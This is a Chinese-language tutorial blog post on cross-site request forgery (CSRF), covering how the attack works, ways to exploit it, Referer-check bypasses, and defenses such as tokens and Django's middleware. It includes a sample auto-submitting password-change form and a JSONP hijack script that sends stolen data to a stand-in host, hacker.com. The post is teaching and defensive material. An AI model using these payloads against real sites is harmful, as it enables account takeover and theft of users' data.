0x01 CSRF简介
CSRF,也称XSRF,即跨站请求伪造攻击,与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击。
<!--more-->
0x02 CSRF原理
攻击者通过盗用用户身份悄悄发送一个请求,或执行某些恶意操作。
CSRF漏洞产生的主要原因:
- 请求所有的参数均可确定
- 请求的审核不严格,如:只验证了Cookie
关于CSRF的执行过程,这里引用自hyddd大佬画的图: 我们知道,当我们使用img等标签时,通过设置标签的src等属性引入外部资源,是可以被浏览器认为是合法的跨域请求,也就是说是可以带上Cookie访问的。
试想一下,如果我们在a.com上放置一个img标签<img src=//b.com/del?id=1>
。当b.com的用户在cookie没过期的情况下访问a.com,此时浏览器会向b.com发送一个指向http://b.com/del?id=1
的GET
请求,并且这个请求是带上Cookie的,而b.com的服务器仅仅是通过cookie进行权限判断,那么服务器就会进行相应的操作,比如假设此处为删除某个文章,用户在不知情的情况下便已完成操作。
0x03 CSRF能够造成的危害
- 篡改目标网站上的用户数据;
- 盗取用户隐私数据;
- 作为其他攻击向量的辅助攻击手法;
- 传播CSRF蠕虫。
0x04 CSRF的利用方式
- 通过HTML标签发送合法的跨域请求
- 通过Ajax发送请求(由于CORS机制的存在,一般不使用)
这里涉及到同源策略,如果不是很清楚可以先去了解一下。
1) HTML标签
我们知道,根据同源策略的规定,跨域请求是不允许带上Cookie等信息的,可是出于种种考虑最终没有进行完全禁止,即存在某些合法的跨域请求。
通常由HTML标签src
、lowsrc
等属性产生的跨域请求是被浏览器认为是合法的跨域请求,并且此时并不需要javascript的参与。
由HTML标签发出的合法跨域请求与正常的用户点击发出的请求相比所不同的是:两者请求头中的Referer值不同。
不过值得说明的是IE浏览器在面对这种情况时会判断本地Cookie是否带上P3P属性,如果仅仅是内存Cookie则不受此影响。
CSRF不仅仅只能针对GET请求,也可以针对POST请求,不过只能使用from标签进行自动提交,注意此处需用到javascript。
<html>
<head></head>
<body>
<form action="http://a.com/changepass" method="POST">
<input type="hidden" name="username" value="victim">
<input type="hidden" name="password" value="hacker">
<input id="sub" type="submit"> //可用样式表将按钮隐藏
</form>
<script>
document.getElementById("sub").click()
</script>
</body>
</html>
2) Ajax
除了通过HTML标签发送跨域请求外,还可以通过Ajax来发送跨域情况,不过Ajax是严格遵守CORS规则的。
关于CORS规则,不清楚的可以去看看evoA大佬的一篇文章跨域方式及其产生的安全问题。
简单来说就是需要构造的xhr的withCredentials
属性也为true
才能带上Cookie进行跨域请求,与IE兼容性不好,且构造难度较Html复杂,故通常情况下我们不使用Ajax来进行CSRF攻击。
通常使用Ajax来跨域进行CSRF攻击的漏洞一般都配合XSS漏洞,此时的Ajax与目标域相同,不受CORS的限制。
0x05 CSRF利用实例
1) 常用利用方式
攻击者构造恶意html,通过引诱用户/管理员访问,触发CSRF漏洞。
2) 结合XSS利用
CSRF+XSS结合,产生的危害已几何倍数剧增。如果CSRF和XSS两个漏洞是在同一个域下的话,那么此时的CSRF已经变成了OSRF了,即本站点请求伪造(出自黑客攻防技术宝典Web实战篇第二版p366),此时已经变成XSS的请求伪造攻击,本文不在赘述。
3) jsonp
我们知道网站api返回的数据类型一般为json型或Array型,这里我们仅讨论json型。
当我们需要调用远程api时json返回的数据一般如下:
user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})
这是因为开发者如果需要调用远程服务器的api获取json数据,由于同源策略的限制,通过ajax获取就会显得比较麻烦,相比之下<script>
标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得json数据可以进行方便的跨域传输。此处的user为回调函数名,一般为某个请求参数值(比如:callback),就上述例子说,只需要通过下面方法即可调用返回的数据:
<script>
function user(data){
console.log(data);//此时的json数据已经存储进了data变量中
}
</script>
这种远程api接口十分容易受到CSRF攻击,我们可以通过修改callback参数值并添加自定义函数,如:
<html>
<head></head>
<body>
<script>
function jsonphack(data){
new image().src="http://hacker.com/json.php?data="+escape(data);
//将json返回的数据发送到黑客服务器上
}
</script>
<script src="http://127.0.0.1/1.php?callback=jsonphack"></script>
</body>
</html>
4) 更多例子
从零开始学CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
0x06 防御CSRF攻击
前边我们说到,产生CSRF的原因主要有两点,那么我们可以针对这两点进行相应的防御。
1) Token
我们知道CSRF攻击的请求除了Cookie以外,其他的内容必须提前确定好,那么如果我们在服务端要求提交的某一个参数中是随机的值呢?
这里我们称这个随机的、无法被预计的值叫做Token,一般是由服务端在接收到用户端请求后生成,返回给用户的Token通常放置在hidden表单或用户的Cookie里。
当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,如果相匹配才执行相应的操作、销毁原Token以及生成并返回新的Token给用户,这样做不仅仅起到了防御CSRF的作用,还可以防止表单的重复提交。
由于HTML标签产生的合法跨域只能是单向请求,无法通过CSRF直接取返回的内容,所以我们无法使用CSRF先取Token值再构造请求,这使得Token可以起到防御CSRF的作用。
注意Token不应该放置在网页的Url中,如果放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现作为Referer发送给外部服务器,以下为相关实例:
- WooYun-2015-136903
2) Referer
前边我们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,使用我们可以根据这点来防御CSRF。
在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。
不过此方法有时也存在着一定的漏洞,比如可绕过等,所以最好还是使用Token。
判断Referer的一般方法就是利用正则进行判断,而判断Referer的正则一定要写全,不然就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是由于Referer的正则不规范导致。
比如^http\:\/\/a\.com
,只验证了是否Referer是否以http://a.com
开头,可是没想到我们可以在自己的顶级域名添加一个子域名http://a.com.hacker.com
;还有http\:\/\/a\.com\/
,通过http://hacker.com/?http://a.com/
绕过。以下相关例子均为Referer绕过:
- WooYun-2015-164067
- WooYun-2015-165578
- WooYun-2016-166608
- WooYun-2016-167674
有些网站由于历史原因会允许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,可以达到空Referer的目的。
3) 验证码
在发送请求前先需要输入基于服务端判断的验证码,机制与Token类似,防御CSRF效果非常好,不过此方法对用户的友好度很差。
4) 关注点
关于CSRF的防护应首先关注高危操作的请求,比如:网上转账、修改密码等,其次应重点关注那些可以散播的,比如:分享链接、发送消息等,再者是能辅助散播的,如取用户好友信息等,因为前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,可是也不可小觑。最后应关注那些高权限账户能够进行的特权操作,如:上传文件、添加管理员,在许多渗透测试中,便是起初利用这点一撸到底。
5) 防御实例:Django的CSRF防御机制
新建个Django项目,打开项目下的settings.py文件,可以看到这么一行代码:django.middleware.csrf.CsrfViewMiddleware
这个就是Django的CSRF防御机制,当我们发送POST请求时Django会自动检测CSRF_Token值是否正确。我们把Debug
打开,可以看到如果我们的POST请求无CSRF_Token这个值,服务端会返回403报错。 现在我们往表单上添加CSRF_Token的验证:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="/login/" method="post">
{% raw %}{{% endraw %}% csrf_token %} //添加Token
<input type="text" name="user" />
<input type="text" name="pwd" />
<input type="submit" value="登陆" />
</form>
</body>
</html>
下图为生成的HTML,可以看到{% raw %}{{% endraw %}% csrf_token %}
这串代码被Django解析成了一个隐藏的input
标签,其中的值为token值,当我们发送请求时必须带上这个值。
只有这样Django才会接受POST请求来的数据,否则返回错误,并且原登陆页面的CSRF_Token重新生成,上一个进行销毁,很大程度上防御住了POST请求的CSRF。
补充一张暴漫系列图,引用自先知社区《聊聊CSRF漏洞攻防----久等的暴漫》作者:farmsec:
0x07 CSRF的常用检测方法
1) 黑盒
- 首先肯定确定是否除Cookie外其他参数均可确定,即:无验证码,无Token等。
- 再者如果发现是Referer头判断的话,可以尝试是否可以绕过正则。
- 还有就是考虑能不能绕过Token,比如Url处的Token用加载攻击者服务器上的图片来获取。
- 最后可以考虑与XSS结合,如:攻击者使用iframe跨域,存在xss漏洞的网站插入的XSS执行代码为
eval(window.name)
,那么我们构造的iframe标签里可以添加个name属性与子页面进行通信,例子:wooyun-2015-089971。
2) 白盒
- 查看是否有Token,验证码,Referer等不确定参数判断。
- 判断Referer的正则是否安全。
- 判断Token返回的位置是否为安全位置。
- 判断生成的Token是否足够随机,毫无规律。
从上到下挖掘难度依次递增
0x08 补充说明
1) HttpOnly
CSRF攻击不受Cookie的HttpOnly属性影响。
2) XSS漏洞情况下的CSRF
如果一个网站存在XSS漏洞,那么以上针对CSRF的防御几乎失去了作用。
3) 关于Flash的内容
鉴于Flash的凉势,这里暂不做研究以节省时间。
4) 目前CSRF形势
就目前而言,CSRF这个沉睡的巨人颇有一番苏醒的意味,可导致的危害也正在逐步的为人们所知,但目前仍有许多开发人员还没有足够的安全意识,以为只要验证Cookie就能确定用户的真实意图了,这就导致了目前仍有大量潜在的CSRF漏洞的局面,CSRF是不可小觑的漏洞,希望大家看完这篇文章能对CSRF有个较为清晰的认识。
0x09 结束语
虽说这篇文章内容较为基础,但也是我熟读几本相关书籍与相关文章、研究已知漏洞,所写出来的一篇半总结,半思考文章,也许里边会有些错误,麻烦各位表哥斧正,如果有想要与我交流相关内容的可以email我(asp-php#foxmail.com #换成@)。
0x0A 参考
书籍:
《Web前端黑客技术揭秘》p83-p96
《XSS跨站脚本攻击剖析与防御》p182-p187
《黑客攻防技术宝典Web实战篇第二版》p368-p374
文章:
CSRF漏洞挖掘
WEB安全之Token浅谈
跨域方式及其产生的安全问题
Django中CSRF原理及应用详解
CSRF简单介绍及利用方法 | WooYun知识库
原生JSONP实现_动态加载js(利用script标签)
来源:oschina
链接:https://my.oschina.net/u/4410985/blog/3303714